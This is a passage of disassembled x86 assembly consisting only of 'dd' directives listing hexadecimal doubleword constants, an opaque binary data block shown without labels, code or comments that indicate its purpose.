		dd 176C7803h, 0A04CD6A6h, 0DD21C6h, 3BD36503h, 0B152D1F6h
		dd 62F93D0Bh, 2BC8073Fh, 0C3213720h, 113A00EAh,	0C951077h
		dd 7F3AB998h, 881980F9h, 0BE61D283h, 0EA9C0012h, 0A7E94282h
		dd 419A231h, 0E84043CEh, 0C1EE66F0h, 90035418h,	80E7F9BAh
		dd 97F72010h, 0EBC7708Eh, 3487CCCh, 8B463214h, 0E1B0B665h
		dd 8D07EB5Eh, 75263D7Dh, 8ADCE050h, 52DE00F5h, 328C562Ch
		dd 18C0C569h, 775BFB0Dh, 2B853ADBh, 7B4A7603h, 26AFAC30h
		dd 0B6E22813h, 0CF62FF1Dh, 487E0900h, 944F46h, 427FC6EAh
		dd 0B20A8E1Fh, 19B68D00h, 20C8EBDFh, 92E43ACCh,	0BE5E3C00h
		dd 7F7C7EDEh, 0DADC2700h, 61B4EB90h, 1E2E02D0h,	24670DBCh
		dd 0A5F7360h, 0A242B61Eh, 0F9BE0680h, 80647Ah, 0AB19378Fh
		dd 177E3B50h, 7FF42618h, 3A0148h, 0E97CEC4Eh, 0E8F13CDFh
		dd 0A7076CF8h, 0B4E2F0DEh, 3B644430h, 0A3F882h,	51ED97BAh
		dd 0E128CCE3h, 7373Fh, 1798FD9Eh, 0A5B01Bh, 0B2F5C4AEh
		dd 6E88FED2h, 8AD8000h,	0F3647242h, 9F4340C5h, 0AB7BD100h
		dd 0B97A0F95h, 70ED60E0h, 0F3C490EFh, 16B5920h,	67E58D6Ch
		dd 80D6823Ah, 41BE2DA8h, 0C0E714E0h, 0C2F58131h, 0DF066612h
		dd 8A6861EDh, 18EB7D18h, 38C5FE3Ah, 31C0C28Fh, 0B688A744h
		dd 0FBB800E5h, 84CCF023h, 0BE616361h, 94658539h, 8089B447h
		dd 8F6E933Fh, 20B56092h, 0A380B856h, 0F670B203h, 0E8312DD0h
		dd 11EC497h, 1370752h, 0C0DFF704h, 0FA712FD6h, 51869400h
		dd 592BB9ECh, 0A608CCFCh, 0F3042021h, 748B7C94h, 399C0EC0h
		dd 86900478h, 80682389h, 0DEB7D7B3h, 0AD305AFCh, 0DA7538E0h
		dd 2F6D3AF3h, 0E70F1060h, 0D01FFD43h, 0A8875CE6h, 4CE65D1Eh
		dd 0EF6E0721h, 0B0589540h, 15385EBDh, 0D891FC00h, 0AC54C074h
		dd 0E050C55h, 3368DA29h, 863039CFh, 18E0BCC1h, 182D1569h
		dd 0E9782FECh, 0B681D560h, 3F99F80h, 3CFE934Eh,	8306B57h
		dd 981721CBh, 0C0E29Fh,	36764749h, 63173DFh, 95B057F0h
		dd 0C3EED0C8h, 0D08043ECh, 44865D0Eh, 1437695Bh, 2DF34440h
		dd 7A019B3h, 919680D7h,	818014A0h, 7B4EF69Fh, 18C9448Ch
		dd 0A79F9900h, 1F09AD87h, 86FA0257h, 0D1F0FE8Ch, 49F6D4A1h
		dd 92E92075h, 0F219FF00h, 383C9683h, 0F80B5601h, 8D94F502h
		dd 0AD31E451h, 94EA1D10h, 0F1EFC71Eh, 26E1A405h, 8BE8BC02h
		dd 11EC9DCEh, 67DEC040h
		dd 5C2490h, 54B2AD57h, 0D6F83F12h, 8884FEE9h, 9F8560F0h
		dd 9B4E23FAh, 1400BD11h, 0A7AA9F9Dh, 3100FB6Ah,	8623803Bh
		dd 90F77443h, 25300948h, 7C21C1D9h, 0D8F42057h,	6845ABD1h
		dd 32088C02h, 51828960h, 8CBA0C29h, 40EA291h, 220094EFh
		dd 57569E63h, 0E8557800h, 9FD5EAD1h, 0D60320B2h, 0EEFE2000h
		dd 0B1A89E2h, 98166DEh,	0C0002138h, 40CEEE05h, 0AF3076h
		dd 5A497C80h, 5D536F59h, 7296060h, 49560229h, 0F023A8C1h
		dd 0FE43E200h, 865D1ED0h, 506F4544h, 104C2EAh, 627241D9h
		dd 0F4F7E0ACh, 0D40FE16Ch, 20636017h, 0B4F6D886h, 0F48554A4h
		dd 0DB41285Fh, 0B9A520A0h, 17DF4EA0h, 524CC005h, 0D459B05Dh
		dd 0FF1898F8h, 89E1EE08h, 4034C412h, 0DEE06C1h,	32E000Eh
		dd 36BAF208h, 0C6636941h, 0C07B06D9h, 8802B5h, 598C6F8Fh
		dd 583D6148h, 52E98100h, 0DC83EDCh, 0B5511D29h,	724243Ah
		dd 0DC7DA44Dh, 90D042C0h, 8C2CE850h, 48683028h,	0D7886700h
		dd 1B4EE796h, 0C19A381Eh, 628077B9h, 0CC4F52A2h, 78C75F75h
		dd 0D7D197ECh, 0B8344925h, 0D3D024E1h, 0E0DB4730h, 4655A15Dh
		dd 1367CA3Ah, 74002CD5h, 2DDC533Fh, 0C013674Ch,	0D9DDE30Ch
		dd 0FD305BD8h, 36006890h, 2E6F419Bh, 16863FC9h,	7F5E10h
		dd 538F0DB8h, 516077A4h, 24855540h, 0AD58C03Bh,	0DB695E12h
		dd 8B7EFE01h, 0F2DA7696h, 0A1582426h, 0EED0FC09h, 105A2431h
		dd 140F06Dh, 60B32415h,	0BCDDDCD1h, 6CBE9DD1h, 23B4DFD4h
		dd 0EE01019Ah, 19E286EBh, 8FF20FAh, 9219E6EEh, 8D4883EFh
		dd 248B96D4h, 83E0502Bh, 0CC689FD6h, 0F6B6A93Ah, 6E7E9D00h
		dd 81B5E049h, 0FEA40374h, 0E6A399A8h, 4D1E2801h, 0C1CB4619h
		dd 5B8B1087h, 0E2500C7Ch, 4389C906h, 10A6A0h, 83CFDB82h
		dd 0B79FBBA9h, 81C10C03h, 0F07C0869h, 730A5A3h,	59865672h
		dd 136AD07Fh, 5E556F1Ch, 0AEB2D08Ch, 85FB8D1Fh,	89DB80F8h
		dd 8BA1C8BCh, 1D110016h, 0A89F8613h, 3175EFB1h,	4D1F3B1Ch
		dd 5416080h, 7E4EAB3h, 417C523h, 978B805Bh, 0A00EA961h
		dd 4090F00Dh, 0B0854130h, 7834004Eh, 67934CA1h,	2E00BAD5h
		dd 9EF86563h, 0E868F53Bh, 0C56C002Ah, 0E526572Fh, 0D401322Bh
		dd 0C9789566h, 0FC20F685h, 0C909F475h, 5980CF18h, 0BF5691EBh
		dd 8610D863h, 638F97EDh, 351409Dh, 0E15D9E28h, 60009F01h
		dd 0F6C1240Dh, 9AA54Dh,	25D2E2E9h, 2B8E66A9h, 0EC82160Eh
		dd 7731E092h, 74686C50h, 0C228C830h, 0CE6D940h,	9B77F4h
		dd 0D2C09E58h, 9356873Eh, 0D64DA80Dh, 1C0CD1F2h, 19FC60F8h
		dd 0D5CC58ACh, 8BF5CB06h, 0EB98DC56h, 1518BF08h, 25C05318h
		dd 21706813h, 8A44545Ch, 89DF0297h, 0D69A7659h,	0FB5FFD80h
		dd 2960AFA8h, 0A76A9E20h, 2ADD05E8h, 13B3E56Fh,	1F590090h
		dd 0FF46DAEFh, 0FBB1F467h, 18C0D085h, 0D1F832h,	0DF8F4EB5h
		dd 52625B2Bh, 61FF51C6h, 0BB70731h, 0C0BFD78Eh,	9FB1D559h
		dd 6BE018C0h, 3D44F06h,	9CEA5250h, 79000CE5h, 0C2DFE9D2h
		dd 71228D7Dh, 9AA0A0AAh, 0DDCF88D1h, 98F62C28h,	0F9F56400h
		dd 0DF00430h, 96E9014h,	0D05C55FBh, 5168A780h, 0BB61D34Eh
		dd 5E72EE79h, 275F2452h, 0FC2970F3h, 7021367h, 94693377h
		dd 4C6483F8h, 0E24EC8FEh, 564B0CB4h, 840824E5h,	40A621CFh
		dd 0F5D70A6Ah, 76BE01B9h, 0B410D1AEh, 0E86C0392h, 0BA23B2h
		dd 25971C0Eh, 5DD1EAECh, 1247C35Ch, 5800C882h, 0A94FB56Ch
		dd 0F389287Eh, 3A6800E4h, 0D25BDC4Ch, 6B506410h, 11006C88h
		dd 50CDB424h, 301EDBA5h, 9F306EEDh, 0DD064E1Ah,	0C9745BEBh
		dd 382A0520h, 3D878E94h, 60D4C320h, 30809EB2h, 0C8C16BB4h
		dd 0DE00177Ch, 68333B11h, 0E936EAE9h, 2600A822h, 89A81795h
		dd 0BB01EE7Ah, 0AD8F5E4Bh, 0DD46A4C4h, 1F874650h, 1144177Fh
		dd 68373C93h, 17982980h, 7D576123h, 95B50137h, 2B8FFDE8h
		dd 27342455h, 0EFE5E118h, 4D386B8h, 3C7593C8h, 0A098875Bh
		dd 29E46F5Ch, 1CE05649h, 0ABDBAA57h, 8C3EC060h,	0CFC23A28h
		dd 2B644806h, 3D630893h, 0D084E821h, 5121823h, 8F210C13h
		dd 0D8AC04D2h, 0ED60596Eh, 18DB11D2h, 0C3280481h, 324174CFh
		dd 99E52342h, 2C07F0D0h, 28E85700h, 0B0630DA7h,	0E06B6E31h
		dd 40E61182h, 359FE00Eh, 54B36A6Ch, 0EA805Ah, 439D8447h
		dd 22789755h, 0F1A5602h, 63926283h, 4187E484h, 89A7A8BCh
		dd 8E5D3A2h, 7BC083C8h,	7111DD17h, 96618633h, 17942521h
		dd 3E8F20h, 5EE557D1h, 9F75E85Ah, 34082891h, 0FDD700CFh
		dd 0C0D58557h, 42278F18h, 0E3A70B1h, 8618E943h,	0BA5C9660h
		dd 0D672596Ah, 13689EE9h, 0E042E84Ah, 0FDD58400h, 365B7FBCh
		dd 8289E9E1h, 6B3DD707h, 0B5C65AA6h, 698F1A19h,	0F8045905h
		dd 87FC8173h, 8FB40168h, 30892980h, 0DCDDF74h, 96228C00h
		dd 0EF4D71B3h, 63430086h, 0A1D83E87h, 0C454B0BFh, 650C7CC4h
		dd 0C956A757h, 0ABDF000Ah, 0C539DD7Dh, 0A13AD7AAh, 210B33C4h
		dd 3ABC895h, 333000A0h,	900CD18Ah, 8E30C8C9h, 75128998h
		dd 40631D26h, 0D68AC007h, 6AD99C7Dh, 2A4FF01h, 614DD410h
		dd 704FA840h, 2498289Dh, 575C008Ch, 5DE46965h, 318899E2h
		dd 0B8F0AB4Ch, 87DB8Bh,	190FF483h, 7488BF9Dh, 0C208CC48h
		dd 6C986902h, 11C27970h, 8854E282h, 5AFA80A0h, 0AA70DC6Ah
		dd 8FD21E00h, 864C6FDBh, 28F64813h, 998CB38h, 25D3B0F3h
		dd 15298F7Bh, 5811A0B9h, 76ABC480h, 0CEBA1DDh, 6A038B43h
		dd 0F3FB0BABh, 14CDBE5h, 866F2BF8h, 0D754A91Dh,	0F1503EE3h
		dd 3C244314h, 671E0CDDh, 0A2DF6905h, 0B475C083h, 258F491Dh
		dd 193F1C90h, 494C7E20h, 0F2C834C2h, 0FC2068A8h, 38AA4895h
		dd 39F02C4h, 0B649CBF9h, 0A16CA020h, 902CF8A4h,	5D5F4478h
		dd 0AFD07706h, 5010BA78h, 58ABDCE8h, 952330A8h,	4F42C31Fh
		dd 194AFCE2h, 5BAB1098h, 8650056Ah, 823EF662h, 16610EFCh
		dd 0D73C3066h, 284D048Ch, 62D4D0BFh, 83912040h,	0B4001228h
		dd 39E890C9h, 22FE225h,	0BDE1079Fh, 0B8803F8Ch,	0E49B1727h
		dd 70570926h, 285E00F6h, 0CA69ECF6h, 161EBEB2h,	0E01507D2h
		dd 908522A8h, 7D18ED48h, 118B1708h, 4197C423h, 94177627h
		dd 12A44DC4h, 47F40DE2h, 34AF1E90h, 0F700C2BBh,	0B82F0225h
		dd 730F9923h, 4032E0CAh, 2CF21A7Bh, 0C40CEEh, 96E8DF18h
		dd 7490DB53h, 0F865A829h, 0D4262300h, 0F0A40FFDh, 0E12467E1h
		dd 6564D2F9h, 67202844h, 0D1F46026h, 70AF2886h,	38449F32h
		dd 0F10CA0F0h, 3ED00C5Ah, 145C6EC5h, 592B8D18h,	0B8A85B31h
		dd 0E83CE13Fh, 2B5897h,	9DB6DE53h, 5A14C9h, 4F7429Ah, 715EF3D7h
		dd 4079C891h, 7E583018h, 7159304Ah, 0C696DBF5h,	0B1696491h
		dd 0E5BBF10Ch, 9AE841h,	5CD07F13h, 59776948h, 38985Dh
		dd 9B56087Eh, 70CC0D66h, 44D7CA4h, 855548A2h, 4B1F8163h
		dd 0EDE8402Ah, 3100791Dh, 0D86727AAh, 54D606h, 0B7619364h
		dd 0F244740Dh, 0EEDB40C1h, 589FE1CEh, 82D640F3h, 0DDB3B565h
		dd 0A4CC3550h, 48DBFC26h, 0C3805B11h, 0D9DD81ABh, 694C448Ch
		dd 96ABDB00h, 258BBBAEh, 1384061Ah, 0D06AE5D4h,	93B2A016h
		dd 0A6868848h, 954674B0h, 0CC562D00h, 875381A5h, 9B46D49Ah
		dd 8D9DC13Ch, 831163E2h, 3AA5A52Ch, 822D9700h, 718558B2h
		dd 21017073h, 628774A0h, 11EC681Eh, 0F6CD33BCh,	41CEA2C0h
		dd 12776F1Dh
		dd 73EE0701h, 20848349h, 80868C6Ah, 5C11E74Bh, 184CB030h
		dd 98A9F077h, 1DC460Ch,	0CFC02882h, 540C489Ch, 0F49ADE88h
		dd 1738003Dh, 0DDD27476h, 0F0C13A1Ah, 37B09DEBh, 6312D82Ch
		dd 3E649C62h, 13878F03h, 0E53D6A9h, 0C9E6DFB9h,	0DE80093h
		dd 5275C3BCh, 582DA51Dh, 4CD77689h, 0EE4241A8h,	2C23209Ch
		dd 65720449h, 0DE189856h, 0DD7CAB04h, 0F32C531h, 0ABD69020h
		dd 0F5820179h, 8D44262Eh, 0BEF45066h, 723E91CBh, 791A7D31h
		dd 0C078A51Dh, 0A9EF1B60h, 4818D6A8h, 0CFFE281Dh, 0E470B4E6h
		dd 7FEF480h, 21DA68Ah, 5978017Ah, 208BF5D1h, 2FF01B0h
		dd 9164957Ch, 964E9E4Ch, 711740A9h, 0C047869h, 513EEEDCh
		dd 290020B8h, 4A80EA1Ah, 28E52786h, 26E05DF3h, 28C4E5Eh
		dd 3DAD5D3h, 7213F080h,	118046A0h, 50C4EAD0h, 0EC2A4886h
		dd 2DBD3CDFh, 0ACC750Dh, 9D880E28h, 0B1813FA3h,	0D49FF345h
		dd 2040D6EDh, 2E35EEDFh, 0D002B8E6h, 5886162Dh,	5F131E20h
		dd 43EAC1FFh, 604BD2B6h, 7CEED148h, 0EFC6AB00h,	0A665D7CEh
		dd 3F7FECh, 7FBB25B3h, 38AA695Eh, 682FE003h, 0B02206B4h
		dd 3A10EE90h, 511FFC61h, 0E91F7CE1h, 0E4E603E3h, 103A8E54h
		dd 209718A8h, 0F2D6D31h, 0E716CB72h, 0B0967160h, 0CC00D534h
		dd 3DB2D478h, 10EA9Ch, 0F1D7FC55h, 414360D6h, 488E1104h
		dd 0E3C0B149h, 2989D5EAh, 0E0141393h, 62ED9BE3h, 0EF07C91Ah
		dd 0B53A4098h, 617300AAh, 1F9971CFh, 670165F7h,	0A4F4E0B6h
		dd 0E0CF92E7h, 6056296Fh, 69ADC077h, 0D000D889h, 4DBB5F5Bh
		dd 863A3Ch, 751FF461h, 70C2BA66h, 0E501E21Dh, 63F95618h
		dd 0FAB800ECh, 881A82E0h, 5F0EBF16h, 0FFB2C4Fh,	6F78E08Fh
		dd 18F4FD2Bh, 60A84012h, 0FC00D061h, 80E37079h,	83C70Ah
		dd 0FB68A0C8h, 0EC62D57Ch, 0B5780B18h, 0BB43E1h, 9289A882h
		dd 0EC3AFB19h, 999EFD00h, 0A3F760C0h, 18156008h, 4277A8CCh
		dd 0E0D8131Fh, 0FAA70B04h, 0D1ACF620h, 18523B89h, 513F19E6h
		dd 42A04A0Ch, 232F3318h, 4B5372Fh, 9DBF2118h, 0C190EF7h
		dd 0FB0814h, 0E51D7C27h, 632B36EEh, 9A183B60h, 0C964569h
		dd 0AA0BA523h, 34189E99h, 5E39C12Ch, 62F20515h,	0C34E9A3Ch
		dd 92C00E18h, 74331C31h, 1E2A70EAh, 0AE4AA51h, 1E085183h
		dd 29A008E3h, 89607283h, 0AE9EC3DBh, 0D6331860h, 0CF6AC90Fh
		dd 0D2F3F602h, 0A08E72E0h, 147D8FACh, 49BC0060h, 0DFE2C5A8h
		dd 563B1D1Fh, 89821819h, 7A48AC29h, 45093F35h, 0DD42970Ch
		dd 21C0BA08h, 1335C9CBh, 1B323B86h, 2F955782h, 9C87BBF3h
		dd 1CDAE029h, 96158DE3h, 0FB41F07h, 0F8A60D5Bh,	0C0161518h
		dd 11FAFBC8h, 0B9C31DD4h, 0D0601039h, 0E36DE97h, 37B69E8Bh
		dd 0BDA8868Ah, 0F85FEB80h, 586C0C73h, 80F73Bh, 9F230705h
		dd 54A33DEDh, 0C83AD41Ch, 41C0EBD8h, 46090C35h,	0FBA022DDh
		dd 0BEC34700h, 20AABF0Eh, 0CCB09876h, 0C9276030h, 6D06091Ah
		dd 18F75A1Eh, 8BD6833Ah, 0F0E11CA2h, 0C0A1D5D1h, 0F4CC0828h
		dd 91C02002h, 1A5EE25Ah, 3D40032Ah, 3EC8A1F7h, 808F35A1h
		dd 59FADB20h, 7DE56294h, 0C8E0006h, 0AD9668Bh, 1F003396h
		dd 3BBD18F4h, 6015078Fh, 7B9A804Bh, 0D703E2DCh,	6A225777h
		dd 0FF93F8B9h, 9705586Fh, 0A4F80800h, 0C66C44BBh, 585CFD3Ah
		dd 0B141E04h, 0FA351C0h, 0FECEF7h, 2A50A474h, 9AF22B37h
		dd 807C353Bh, 83366D60h, 18497B09h, 8730126h, 20C03438h
		dd 0D3679C1h, 5C7B038Bh, 64B37EECh, 33580E0h, 7C085167h
		dd 0AA958DD0h, 0B9CD03E5h, 24A94998h, 16804000h, 182575B6h
		dd 7668E027h, 794600BFh, 0F4A1ECB0h, 233A9ECDh,	7FE21E9Bh
		dd 3AFF3443h, 48EFB0EAh, 13B80009h, 9236C84Dh, 58306D29h
		dd 7F5C8171h, 0F7AB705Bh, 0E5F341DAh, 2B1EA1E3h, 172F208Fh
		dd 1A373B00h, 0A11FF07Fh, 7D41FC90h, 8FD97E12h,	7552488Ch
		dd 0EF00FE51h, 0E7C60183h, 6F70F876h, 51786486h, 0CB034A7Ch
		dd 627E6FBBh, 0A92E1878h, 1E72E93Eh, 49C55E0Fh,	9D9F605Ah
		dd 0ECD4AEA4h, 9CC939CDh, 0D295483h, 800659FCh,	0DF6247B2h
		dd 0B4D00C60h, 30187B98h, 615E9F18h, 19806D60h,	81251D65h
		dd 29F7EC8Ah, 9CBBD306h, 3009A8F0h, 0EA207FFAh,	0E800F76Fh
		dd 55FE3084h, 0B4C7C8h,	0D10E67F8h, 0D4AD2975h,	0A468C560h
		dd 744BED38h, 43670098h, 21111D70h, 0E10042A6h,	0DC1C92BDh
		dd 26249349h, 0EDA7C6h,	5E33ED56h, 0A507689Bh, 0CF65F21Fh
		dd 7D2E6C80h, 0BA20F93Eh, 8B7200A1h, 77BF1EAFh,	0CA009D5Ch
		dd 33E8AA3Bh, 0AEBE11h,	6ECB92DEh, 0FCC674CEh, 5137D31Dh
		dd 3BA379C7h, 0CA348420h, 128200D1h, 9B0388C9h,	4400B9A0h
		dd 9896E4Fh, 1BC5F53h, 2BF2C063h, 0E6A8E2F8h, 0FDD8049Fh
		dd 0E4C4284Dh, 37C21068h, 718000DEh, 0C1F7F015h, 0EC7A0093h
		dd 0BB46F66Bh, 0C200D31Eh, 0E0626832h, 0C813DF17h, 0A0412729h
		dd 0D6021DB5h, 28212D43h, 840B10EDh, 0AA48A0C0h, 24111B42h
		dd 0DDA7215Fh, 79DE6E13h, 201B5022h, 5EEE27E3h,	9A1C2800h
		dd 0CEC2DAF4h, 21250E5Fh, 0BEC0489Bh, 0A6F6D31Ah, 0F930BF00h
		dd 0BDC73ACDh, 5FA1001Eh, 0F833BEC5h, 0DA00EC0Dh, 343F684Ah
		dd 783244A2h, 0F537034Ch, 0B862178Ah, 5E6E2FE8h, 2E66CC00h
		dd 0FBEEB17Ah, 301D00E9h, 2479ECC7h, 0B0064F7h,	0C4A6107Fh
		dd 0FB03762h, 0A758267Ah, 0C0116924h, 7D2C8888h, 0F805BF00h
		dd 0DEB40654h, 0D04C0383h, 3B03B875h, 8CF960F0h, 97B95B03h
		dd 0EAFCD28Bh, 78D8807Ah, 129C869Dh, 53D301h, 8FD23354h
		dd 4AB82244h, 8D461B00h, 0D4ED749Ch, 582B07DDh,	1070811Dh
		dd 3B301C9Ah, 0F1298800h, 429B6FCDh, 1069494Ch,	2C0A2000h
		dd 25396B3Eh, 8500D9EAh, 8D992BADh, 631ED1Ch, 0B4945EACh
		dd 370021C0h, 84E9F152h, 0D595C1h, 9E694BBFh, 2788A6F2h
		dd 0CB00FFE8h, 0B843D4C6h, 71FE9C51h, 0FBB4002Fh, 26B51285h
		dd 0E4009EF0h, 1BD92706h, 552171h, 0C173E309h, 1012A99Dh
		dd 1F0B651Eh, 6D111440h, 5782C8h, 63F512Eh, 0E46E3E8Eh
		dd 2DC4DA00h, 70BBAB3Dh, 0A2900C3h, 0AAD43FB3h,	7C052C69h
		dd 0D50BE303h, 0E0064E83h, 0EAB74784h, 26CB0778h, 0D07DD18Fh
		dd 3DE9909Eh, 0A040FE00h, 0B6EC7516h, 803114A6h, 0C0009457h
		dd 438E6197h, 99382E0Fh, 72BD85h, 66E212D7h, 647EB1h, 701B2489h
		dd 0E16331F8h, 4E562500h, 2B62DD4Fh, 4C580015h,	76718648h
		dd 1E3DFA61h, 559100CEh, 0F083275Ah, 0EC1401D7h, 0A560A239h
		dd 0BDF2F480h, 0AF0D4300h, 0E4B39097h, 0E27B0EA7h, 0EBC20709h
		dd 40413D2Ch, 95F24217h, 33E0F88Fh, 9BA55B50h, 0F7ED10C0h
		dd 857574h, 0B93B040Bh,	3735E8AFh, 1E9FF00h, 38D79E91h
		dd 0DC31307Dh, 28BA25F0h, 76008BF0h, 8DAC0E5Dh,	9B32D3Eh
		dd 69FE728Ch, 0D77D1E82h, 0DE7B66E0h, 3F76B601h, 263957AAh
		dd 0D01620h, 72B27DDAh,	979C3DADh, 0AB500C00h, 956FCEE2h
		dd 14E711Dh, 772887E6h,	70A0B94Ah, 713026A4h, 93E3D84Fh
		dd 1820008Bh, 78C0C9DEh, 0CEFA6A5Ch, 6500AF7Ch,	2E3D6427h
		dd 3B837C29h, 561C13ADh, 189DA83Fh, 0F2C25CEFh,	8709A0DDh
		dd 5E2A1A3h, 74803A7Ch,	0F5286BAh, 0A60731F5h, 2665EBA0h
		dd 0B31E3DF9h, 890068DFh, 0EA4E6CE3h, 3E10F8BAh, 813AEEECh
		dd 1E3C498Eh, 5469C03Eh, 25F7D2D6h, 0B51B381Ch,	4C6E9540h
		dd 0F62762BAh
		dd 7436009Ch, 0AC470116h, 0B500388Fh, 0BFCD3770h, 2407C5E0h
		dd 0C4096Dh, 0DA8189FCh, 1D09355Dh, 80EE4685h, 7D2A123Ah
		dd 89F526A8h, 0DD99007Eh, 1FED6983h, 8B9B1001h,	0F47F67DAh
		dd 79B5E420h, 0BE310106h, 320E2D23h, 0AE65DC37h, 550A08B0h
		dd 84E0B2D3h, 0B3ADE400h, 0DF7298h, 7F04208Ah, 7C4BAFE9h
		dd 24D91424h, 0BBC3B630h, 64BF0C2Fh, 7F0B067h, 8A1E9307h
		dd 32A0AE6Fh, 0B64FE5h,	0ED960A0Ch, 28372522h, 0E4CCC2A0h
		dd 7FB87603h, 0B7D29A08h, 72BFDF20h, 0F0540040h, 8052F7B5h
		dd 0B4184C02h, 4118CA8Dh, 59822E97h, 6A1E0063h,	652ADC7Dh
		dd 9CC8DD39h, 980345A9h, 98D92EA3h, 0C0CB6EA2h,	88F9DD38h
		dd 87EF4426h, 60677190h, 0C7CDE620h, 0B1100CBh,	0C39F27D0h
		dd 63CD8EEh, 21B6027Eh,	0D7AB0F78h, 93971701h, 0E3F883F6h
		dd 0E858BDEBh, 2F565DCh, 5DE8541Bh, 12400DA3h, 1A006073h
		dd 7CCA93DDh, 3484024h,	0CF90D561h, 0DF900186h,	3C261B98h
		dd 0A42030E1h, 0AAB05Ch, 0F54293F2h, 1DE76AA0h,	21E9D0h
		dd 0B03BD538h, 191D2F5Ah, 0B48077A1h, 0C69AE8B7h, 48BE1251h
		dd 25D7008Eh, 0F196DC34h, 420084E0h, 0F3527483h, 1C0C73Ch
		dd 49636924h, 0C89D91AAh, 0D503C12Fh, 611433E0h, 80140056h
		dd 0DBFE3BB1h, 7D00CDDAh, 0EF7EF962h, 50B22E7h,	8157CAB6h
		dd 30B0C01Bh, 0EE0509A7h, 2277B9CDh, 990E4C80h,	0D6170EA3h
		dd 52606711h, 0B70D198Eh, 926B1801h, 31BB45Bh, 8A08D0h
		dd 0E8935E65h, 99638841h, 9447CA00h, 79B63FE9h,	58530B8Ch
		dd 0C40148DEh, 13F39BE6h, 95BA9097h, 12287AFAh,	0D88878h
		dd 2FEC4B64h, 0BBB024EAh, 574D9700h, 6627E554h,	1F23003Bh
		dd 1C0C0BFAh, 3A1EA37Eh, 8540599Dh, 412FD858h, 0D77C3h
		dd 30D235B3h, 5587CC7Ch, 0AE923133h, 0C8809CC2h, 66D0E4h
		dd 0E2062346h, 30C10314h, 0E000927Ch, 578D8571h, 0FF5FFBh
		dd 7F1946FAh, 25481066h, 0F0891100h, 1F4DC8D4h,	1B071CC9h
		dd 0F54CC08Ah, 73720A0Bh, 179B4501h, 41A96985h,	0FB50420h
		dd 0E35FEC34h, 0B9C3EA00h, 0D61CF3A2h, 0FACF622Dh, 1E282765h
		dd 69FDF040h, 0D7D2031Ah, 96BA73A7h, 6AF35AB0h,	0C93D5B00h
		dd 40129B1Ch, 0CAFC0128h, 0AA5DA9F8h, 498DDCD5h, 0F500ECE4h
		dd 7CE3415Eh, 45B16Bh, 8930B5DDh, 0D20F2F50h, 4D85F007h
		dd 0FB05BF9Eh, 13D40C80h, 0FF1600E7h, 399DD092h, 3400E012h
		dd 19ABD6C0h, 0F21407h,	0CA7EA411h, 71BE8678h, 7887059h
		dd 8C47577Ah, 79BA840h,	0DD5916DCh, 0D48403FDh,	30C0D81Fh
		dd 2C2C6F0Ah, 60002035h, 7A69CFFCh, 0BA120056h,	0B053F24h
		dd 48BAB46Eh, 0A5226B00h, 3A3915A4h, 8AF60045h,	0C9FC5811h
		dd 63C31EFh, 0F41BB0Ah,	0E0D82E3Fh, 2AB7DAD1h, 0BD254CAAh
		dd 7F1DEC0Fh, 1E1F4220h, 74F24838h, 2BD0B100h, 0E21521A4h
		dd 0CB3703AFh, 0BC83EADDh, 7374B8D8h, 52CFB00h,	5C13E048h
		dd 20D1602Ah, 7DB32718h, 1D5FF403h, 0E8449047h,	12BD9D68h
		dd 0D0A906h, 0E826B60h,	5034546h, 7571F691h, 1948B80Dh
		dd 0BE020095h, 0BC6E9E87h, 0D959929Bh, 0F8250158h, 0E3618E38h
		dd 32565300h, 0AD5CB304h, 6080507Ah, 0B3222A68h, 0DB003D28h
		dd 60CA85BDh, 9C007FF0h, 0D777022Dh, 8EF7A3h, 0FEF23754h
		dd 93D5F944h, 0FF309517h, 8DBF5820h, 594200E5h,	0AD5EED01h
		dd 0AC00F15Fh, 771393A0h, 39A5DFC0h, 71035251h,	0F3833D30h
		dd 98D23CD0h, 23103200h, 0C0C61DBBh, 159400C3h,	4A8CD6EAh
		dd 580134E6h, 7EFD2D50h, 12717588h, 55F8BBE9h, 651B00D6h
		dd 0C62AE3ABh, 0DD0FD03Eh, 80037D33h, 6BF3BEC0h, 3077004Fh
		dd 9939AD11h, 4130D66Ah, 85BA18C9h, 44F50327h, 0EA5DBE68h
		dd 0FB9977A0h, 25B2AE09h, 0BBB0483Ch, 0D98B02A0h, 3475ADCFh
		dd 2D183C40h, 20068EA1h, 0A4013F20h, 0F5BFB82Ch, 0CDD440AAh
		dd 11800229h, 3C644981h, 287B4160h, 0DA850C0h, 0A0D7B7F7h
		dd 514CFF4h, 6F505E9Ah,	21A983FAh, 3415C7F0h, 1C45B200h
		dd 4498F311h, 7F18000Bh, 90FB0A68h, 8A1C040Ch, 0DE408CD8h
		dd 0A89CF587h, 3DFF0025h, 91BCD1A9h, 1101FE04h,	0C8CDC58Ah
		dd 0DFFC9020h, 0C6140393h, 21D50DABh, 0D4E94EA8h, 0F1015C79h
		dd 9750F97Eh, 8AC0C2FFh, 7F720026h, 9A367C8Bh, 8700CE2Dh
		dd 145415D6h, 3F06E1A1h, 0EC038650h, 47AD9D8Eh,	0F0502F8h
		dd 3DE97A00h, 4E2FDD43h, 0AC0C001Ah, 9B22A87h, 0CE0066C9h
		dd 0F8F9245Fh, 4CFA68Eh, 6EE4717Dh, 800D8550h, 4BBC9737h
		dd 18A93601h, 0E0661C8Eh, 2C35ECh, 6409FA60h, 0A22EDFB4h
		dd 4C621038h, 7E3D00DDh, 836D6949h, 87380024h, 0EDFFDEC1h
		dd 46004397h, 5AB1329Fh, 48797A86h, 0A88E7494h,	23F67DC7h
		dd 4D91C4BBh, 2C4B30FCh, 0D2641003h, 90A07B3Ch,	79BC1Ch
		dd 2A7DCC0Eh, 8812EA9Ch, 0A4A35505h, 88C9230Ah,	1464C0h
		dd 0BD356995h, 9ADDEDA7h, 0D80B247Bh, 43FE15CAh, 6C98C0C9h
		dd 54B2008Ch, 8B95DB74h, 433C80ABh, 134F8071h, 0A564F972h
		dd 281E4C1h, 0C5862B03h, 2048A3A8h, 0F898B71Ch,	2D53FF00h
		dd 32CB2ABAh, 549273h, 4CB1756Dh, 244D7C87h, 0F4AEED51h
		dd 7D0389F4h, 7439D148h, 6487DC6Dh, 0A49BC3E0h,	0AF610047h
		dd 0BB2665CEh, 0FE731C92h, 12C5A802h, 0E0C6DECDh, 0AB1B94h
		dd 6AE594F2h, 0DAD3BF2Dh, 0FCFA47EEh, 8360F600h, 7A144AE8h
		dd 0BCAC3013h, 7B6E4820h, 4F84AB00h, 0D0BD7287h, 5E3A18CFh
		dd 65B7883Bh, 0AADC0B41h, 0FEF800A4h, 72D92716h, 4F0EBA9Fh
